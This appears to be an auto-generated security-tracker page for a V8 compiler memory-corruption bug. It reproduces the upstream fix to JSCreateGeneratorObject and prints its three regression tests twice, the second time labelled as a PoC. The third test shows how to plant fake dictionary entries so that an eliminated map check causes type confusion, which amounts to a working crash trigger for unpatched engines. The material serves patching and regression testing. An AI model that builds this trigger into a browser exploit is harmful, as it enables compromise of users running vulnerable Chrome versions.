Chrome · V8 › Compiler
CVE-2026-110920
Memory Corruption in V8 (Compiler)
Overview
High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Changed Functions
| Function | Change | Notes |
|---|---|---|
fortest/mjsunit/compiler/regress-569659194-3.js |
modified |
Files Changed
test/mjsunit/compiler/regress-569659194-3.jssrc/compiler/operator-properties.cctest/mjsunit/compiler/regress-569659194-1.jssrc/compiler/js-generic-lowering.cctest/mjsunit/compiler/regress-569659194-2.jssrc/compiler/js-operator.ccsrc/compiler/js-intrinsic-lowering.cc
Patch
From af9e5c36d892fa7b440e489c50e613b3b4fd4820 Mon Sep 17 00:00:00 2001 From: Darius Mercadier <[email protected]> Date: Thu, 08 Oct 2026 13:21:08 +0200 Subject: [PATCH] [compiler] Mark JSCreateGeneratorObject as writing and deoptimizing Creating a generator object for a closure without an initial map calls into the runtime to initialize its prototype and initial map. When the new prototype is set up, JSObject::OptimizeAsPrototype can normalize %GeneratorPrototype% from fast properties to dictionary mode, mutating its map and invalidating stable-map dependencies. Change JSCreateGeneratorObject from Operator::kEliminatable to Operator::kNoThrow and give it a FrameState input so LoadElimination does not eliminate map checks across it and lazy deoptimization has a valid FrameState. TAG=agy CONV=bd05db8c-af63-4056-8c71-2d7cef5afe7e Fixed: 569659194 Change-Id: I020f79dbac1394f93f612e7346cbf27657dc77c7 Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8525490 Reviewed-by: Leszek Swirski <[email protected]> Commit-Queue: Leszek Swirski <[email protected]> Auto-Submit: Darius Mercadier <[email protected]> Cr-Commit-Position: refs/heads/main@{#110456} --- diff --git a/src/compiler/js-generic-lowering.cc b/src/compiler/js-generic-lowering.cc index a1c96a4..8742d1b 100644 --- a/src/compiler/js-generic-lowering.cc +++ b/src/compiler/js-generic-lowering.cc @@ -711,7 +711,6 @@ } void JSGenericLowering::LowerJSCreateGeneratorObject(Node* node) { - node->RemoveInput(4); // control ReplaceWithBuiltinCall(node, Builtin::kCreateGeneratorObject); } diff --git a/src/compiler/js-intrinsic-lowering.cc b/src/compiler/js-intrinsic-lowering.cc index 2274980..6737cfd 100644 --- a/src/compiler/js-intrinsic-lowering.cc +++ b/src/compiler/js-intrinsic-lowering.cc @@ -157,8 +157,8 @@ FrameState frame_state{NodeProperties::GetFrameStateInput(node)}; Operator const* const op = javascript()->CreateGeneratorObject( frame_state.frame_state_info().bytecode_array().ToHandleChecked()); - Node* create_generator = - graph()->NewNode(op, closure, receiver, context, effect, control); + Node* create_generator = graph()->NewNode(op, closure, receiver, context, + frame_state, effect, control); ReplaceWithValue(node, create_generator, create_generator); return Changed(create_generator); } diff --git a/src/compiler/js-operator.cc b/src/compiler/js-operator.cc index adb3c84..5aec87c 100644 --- a/src/compiler/js-operator.cc +++ b/src/compiler/js-operator.cc @@ -1363,11 +1363,11 @@ const Operator* JSOperatorBuilder::CreateGeneratorObject( IndirectHandle<BytecodeArray> bytecode_array) { CreateGeneratorObjectParameters parameters(bytecode_array); - return zone()->New<Operator1<CreateGeneratorObjectParameters>>( // -- - IrOpcode::kJSCreateGeneratorObject, Operator::kEliminatable, // opcode - "JSCreateGeneratorObject", // name - 2, 1, 1, 1, 1, 0, // counts - parameters); // parameters + return zone()->New<Operator1<CreateGeneratorObjectParameters>>( // -- + IrOpcode::kJSCreateGeneratorObject, Operator::kNoThrow, // opcode + "JSCreateGeneratorObject", // name + 2, 1, 1, 1, 1, 0, // counts + parameters); // parameters } const Operator* JSOperatorBuilder::LoadGlobal(NameRef name, diff --git a/src/compiler/operator-properties.cc b/src/compiler/operator-properties.cc index f7e9f16..e19d1bf 100644 --- a/src/compiler/operator-properties.cc +++ b/src/compiler/operator-properties.cc @@ -159,10 +159,6 @@ case IrOpcode::kJSStrictEqual: return false; - // Generator creation cannot call back into arbitrary JavaScript. - case IrOpcode::kJSCreateGeneratorObject: - return false; - // Binary operations case IrOpcode::kJSAdd: case IrOpcode::kJSSubtract: @@ -203,6 +199,7 @@ case IrOpcode::kJSCreateLiteralRegExp: case IrOpcode::kJSCreateObject: case IrOpcode::kJSCloneObject: + case IrOpcode::kJSCreateGeneratorObject: // Property access operations case IrOpcode::kJSDeleteProperty: diff --git a/test/mjsunit/compiler/regress-569659194-1.js b/test/mjsunit/compiler/regress-569659194-1.js new file mode 100644 index 0000000..76d1084 --- /dev/null +++ b/test/mjsunit/compiler/regress-569659194-1.js @@ -0,0 +1,44 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +// Flags: --allow-natives-syntax + +function makeGenerator() { + return function* () {}; +} + +// %GeneratorPrototype% starts in fast-properties mode from the snapshot, with +// is_prototype_map() == true and should_be_fast_prototype_map() == false. +const generatorPrototype = Object.getPrototypeOf(makeGenerator()).prototype; +generatorPrototype.doubleProp = 1.5; + +function foo(obj, gen) { + // Access an in-object property first so TurboFan emits CheckMaps(obj). + obj.next = 1; + // Calling an uninitialized generator closure normalizes generatorPrototype + // from fast properties (PropertyArray) to dictionary mode (NameDictionary). + gen(); + // Because JSCreateGeneratorObject was marked kNoWrite, LoadElimination + // eliminated the CheckMaps(obj) before this out-of-object double store. + obj.doubleProp = 3.5; +} + +// Warm up with two closures that already have a custom .prototype so that: +// 1. The call site in foo() is polymorphic over closures (not specialized to a +// single HeapConstant closure) and lowers to JSCreateGeneratorObject. +// 2. Initializing their initial_map does not touch generatorPrototype. +const gen1 = makeGenerator(); +const gen2 = makeGenerator(); +gen1.prototype = {}; +gen2.prototype = {}; + +%PrepareFunctionForOptimization(foo); +%PrepareFunctionForOptimization(gen1); +foo(generatorPrototype, gen1); +foo(generatorPrototype, gen2); + +%OptimizeFunctionOnNextCall(foo); +const freshGen = makeGenerator(); +foo(generatorPrototype, freshGen); +assertEquals(3.5, generatorPrototype.doubleProp); diff --git a/test/mjsunit/compiler/regress-569659194-2.js b/test/mjsunit/compiler/regress-569659194-2.js new file mode 100644 index 0000000..49efb73 --- /dev/null +++ b/test/mjsunit/compiler/regress-569659194-2.js @@ -0,0 +1,37 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +// Flags: --allow-natives-syntax + +function makeGenerator() { + return function* () {}; +} + +// %GeneratorPrototype% starts in fast-properties mode with a stable map. +const generatorPrototype = Object.getPrototypeOf(makeGenerator()).prototype; + +function foo(gen) { + // Calling an uninitialized generator closure normalizes generatorPrototype, + // which invalidates its stable map and triggers lazy deoptimization of foo(). + gen(); + // Accessing generatorPrototype as a HeapConstant installs a compilation + // dependency (DependOnStableMap) on generatorPrototype's map rather than + // emitting a CheckMaps node. + generatorPrototype.next = 1; +} + +const gen1 = makeGenerator(); +const gen2 = makeGenerator(); +gen1.prototype = {}; +gen2.prototype = {}; + +%PrepareFunctionForOptimization(foo); +%PrepareFunctionForOptimization(gen1); +foo(gen1); +foo(gen2); + +%OptimizeFunctionOnNextCall(foo); +const freshGen = makeGenerator(); +foo(freshGen); +assertEquals(1, generatorPrototype.next); diff --git a/test/mjsunit/compiler/regress-569659194-3.js b/test/mjsunit/compiler/regress-569659194-3.js new file mode 100644 index 0000000..0b30f10 --- /dev/null +++ b/test/mjsunit/compiler/regress-569659194-3.js @@ -0,0 +1,64 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +// Flags: --allow-natives-syntax + +function makeGenerator() { + return function* () {}; +} + +// Even if %GeneratorPrototype% starts in dictionary mode or with +// should_be_fast_prototype_map() == true, iterating over a generator instance +// ensures %GeneratorPrototype% is in fast mode with +// should_be_fast_prototype_map() == true. +for (let _ in (function* () {})()) {} + +const generatorPrototype = Object.getPrototypeOf(makeGenerator()).prototype; +generatorPrototype[0] = 1; + +// Reconfiguring a field from Smi to Double on a detached prototype root map +// normalizes generatorPrototype to dictionary mode (NameDictionary) without +// clearing should_be_fast_prototype_map() on its PrototypeInfo. +generatorPrototype.x = 1; +generatorPrototype.x = 1.5; + +function foo(obj, gen) { + // Emit CheckMaps(obj, [dictionary_map]) before gen(). + obj[0]; + // Calling an uninitialized generator closure invokes + // JSObject::OptimizeAsPrototype(generatorPrototype), which sees + // should_be_fast_prototype_map() == true && !HasFastProperties() and calls + // JSObject::MigrateSlowToFast(generatorPrototype), replacing its + // NameDictionary with a PropertyArray. + gen(); + // Without the fix, LoadElimination eliminated CheckMaps(obj, [dictionary_map]) + // before LoadDictionaryField, which then read the new PropertyArray as if it + // were a NameDictionary. + return obj.x; +} + +const gen1 = makeGenerator(); +const gen2 = makeGenerator(); +gen1.prototype = {}; +gen2.prototype = {}; + +%PrepareFunctionForOptimization(foo); +%PrepareFunctionForOptimization(gen1); +foo(generatorPrototype, gen1); +foo(generatorPrototype, gen2); + +%OptimizeFunctionOnNextCall(foo); + +// Populate dictionary properties (which does not change generatorPrototype's +// dictionary map) so that after MigrateSlowToFast packs all properties into a +// PropertyArray, every NameDictionary entry offset [6 + 3 * i] in the +// PropertyArray contains a valid fake dictionary entry ["x", "corrupted", 0]. +for (let i = 0; i < 48; i += 3) { + generatorPrototype['p' + i] = 'x'; + generatorPrototype['p' + (i + 1)] = 'corrupted'; + generatorPrototype['p' + (i + 2)] = 0; +} + +const freshGen = makeGenerator(); +assertEquals(1.5, foo(generatorPrototype, freshGen));
Loading diff…
Regression Test / PoC
shipped with the fix
diff --git a/test/mjsunit/compiler/regress-569659194-1.js b/test/mjsunit/compiler/regress-569659194-1.js
new file mode 100644
index 0000000..76d1084
--- /dev/null
+++ b/test/mjsunit/compiler/regress-569659194-1.js
@@ -0,0 +1,44 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+function makeGenerator() {
+ return function* () {};
+}
+
+// %GeneratorPrototype% starts in fast-properties mode from the snapshot, with
+// is_prototype_map() == true and should_be_fast_prototype_map() == false.
+const generatorPrototype = Object.getPrototypeOf(makeGenerator()).prototype;
+generatorPrototype.doubleProp = 1.5;
+
+function foo(obj, gen) {
+ // Access an in-object property first so TurboFan emits CheckMaps(obj).
+ obj.next = 1;
+ // Calling an uninitialized generator closure normalizes generatorPrototype
+ // from fast properties (PropertyArray) to dictionary mode (NameDictionary).
+ gen();
+ // Because JSCreateGeneratorObject was marked kNoWrite, LoadElimination
+ // eliminated the CheckMaps(obj) before this out-of-object double store.
+ obj.doubleProp = 3.5;
+}
+
+// Warm up with two closures that already have a custom .prototype so that:
+// 1. The call site in foo() is polymorphic over closures (not specialized to a
+// single HeapConstant closure) and lowers to JSCreateGeneratorObject.
+// 2. Initializing their initial_map does not touch generatorPrototype.
+const gen1 = makeGenerator();
+const gen2 = makeGenerator();
+gen1.prototype = {};
+gen2.prototype = {};
+
+%PrepareFunctionForOptimization(foo);
+%PrepareFunctionForOptimization(gen1);
+foo(generatorPrototype, gen1);
+foo(generatorPrototype, gen2);
+
+%OptimizeFunctionOnNextCall(foo);
+const freshGen = makeGenerator();
+foo(generatorPrototype, freshGen);
+assertEquals(3.5, generatorPrototype.doubleProp);
diff --git a/test/mjsunit/compiler/regress-569659194-2.js b/test/mjsunit/compiler/regress-569659194-2.js
new file mode 100644
index 0000000..49efb73
--- /dev/null
+++ b/test/mjsunit/compiler/regress-569659194-2.js
@@ -0,0 +1,37 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+function makeGenerator() {
+ return function* () {};
+}
+
+// %GeneratorPrototype% starts in fast-properties mode with a stable map.
+const generatorPrototype = Object.getPrototypeOf(makeGenerator()).prototype;
+
+function foo(gen) {
+ // Calling an uninitialized generator closure normalizes generatorPrototype,
+ // which invalidates its stable map and triggers lazy deoptimization of foo().
+ gen();
+ // Accessing generatorPrototype as a HeapConstant installs a compilation
+ // dependency (DependOnStableMap) on generatorPrototype's map rather than
+ // emitting a CheckMaps node.
+ generatorPrototype.next = 1;
+}
+
+const gen1 = makeGenerator();
+const gen2 = makeGenerator();
+gen1.prototype = {};
+gen2.prototype = {};
+
+%PrepareFunctionForOptimization(foo);
+%PrepareFunctionForOptimization(gen1);
+foo(gen1);
+foo(gen2);
+
+%OptimizeFunctionOnNextCall(foo);
+const freshGen = makeGenerator();
+foo(freshGen);
+assertEquals(1, generatorPrototype.next);
diff --git a/test/mjsunit/compiler/regress-569659194-3.js b/test/mjsunit/compiler/regress-569659194-3.js
new file mode 100644
index 0000000..0b30f10
--- /dev/null
+++ b/test/mjsunit/compiler/regress-569659194-3.js
@@ -0,0 +1,64 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+function makeGenerator() {
+ return function* () {};
+}
+
+// Even if %GeneratorPrototype% starts in dictionary mode or with
+// should_be_fast_prototype_map() == true, iterating over a generator instance
+// ensures %GeneratorPrototype% is in fast mode with
+// should_be_fast_prototype_map() == true.
+for (let _ in (function* () {})()) {}
+
+const generatorPrototype = Object.getPrototypeOf(makeGenerator()).prototype;
+generatorPrototype[0] = 1;
+
+// Reconfiguring a field from Smi to Double on a detached prototype root map
+// normalizes generatorPrototype to dictionary mode (NameDictionary) without
+// clearing should_be_fast_prototype_map() on its PrototypeInfo.
+generatorPrototype.x = 1;
+generatorPrototype.x = 1.5;
+
+function foo(obj, gen) {
+ // Emit CheckMaps(obj, [dictionary_map]) before gen().
+ obj[0];
+ // Calling an uninitialized generator closure invokes
+ // JSObject::OptimizeAsPrototype(generatorPrototype), which sees
+ // should_be_fast_prototype_map() == true && !HasFastProperties() and calls
+ // JSObject::MigrateSlowToFast(generatorPrototype), replacing its
+ // NameDictionary with a PropertyArray.
+ gen();
+ // Without the fix, LoadElimination eliminated CheckMaps(obj, [dictionary_map])
+ // before LoadDictionaryField, which then read the new PropertyArray as if it
+ // were a NameDictionary.
+ return obj.x;
+}
+
+const gen1 = makeGenerator();
+const gen2 = makeGenerator();
+gen1.prototype = {};
+gen2.prototype = {};
+
+%PrepareFunctionForOptimization(foo);
+%PrepareFunctionForOptimization(gen1);
+foo(generatorPrototype, gen1);
+foo(generatorPrototype, gen2);
+
+%OptimizeFunctionOnNextCall(foo);
+
+// Populate dictionary properties (which does not change generatorPrototype's
+// dictionary map) so that after MigrateSlowToFast packs all properties into a
+// PropertyArray, every NameDictionary entry offset [6 + 3 * i] in the
+// PropertyArray contains a valid fake dictionary entry ["x", "corrupted", 0].
+for (let i = 0; i < 48; i += 3) {
+ generatorPrototype['p' + i] = 'x';
+ generatorPrototype['p' + (i + 1)] = 'corrupted';
+ generatorPrototype['p' + (i + 2)] = 0;
+}
+
+const freshGen = makeGenerator();
+assertEquals(1.5, foo(generatorPrototype, freshGen));
Loading diff…
Original Bug Report
The reporter's bug is still restricted on the tracker. Chrome de-restricts security bugs ~30–90 days after the fix ships; a later run will backfill it here.
References
On This Page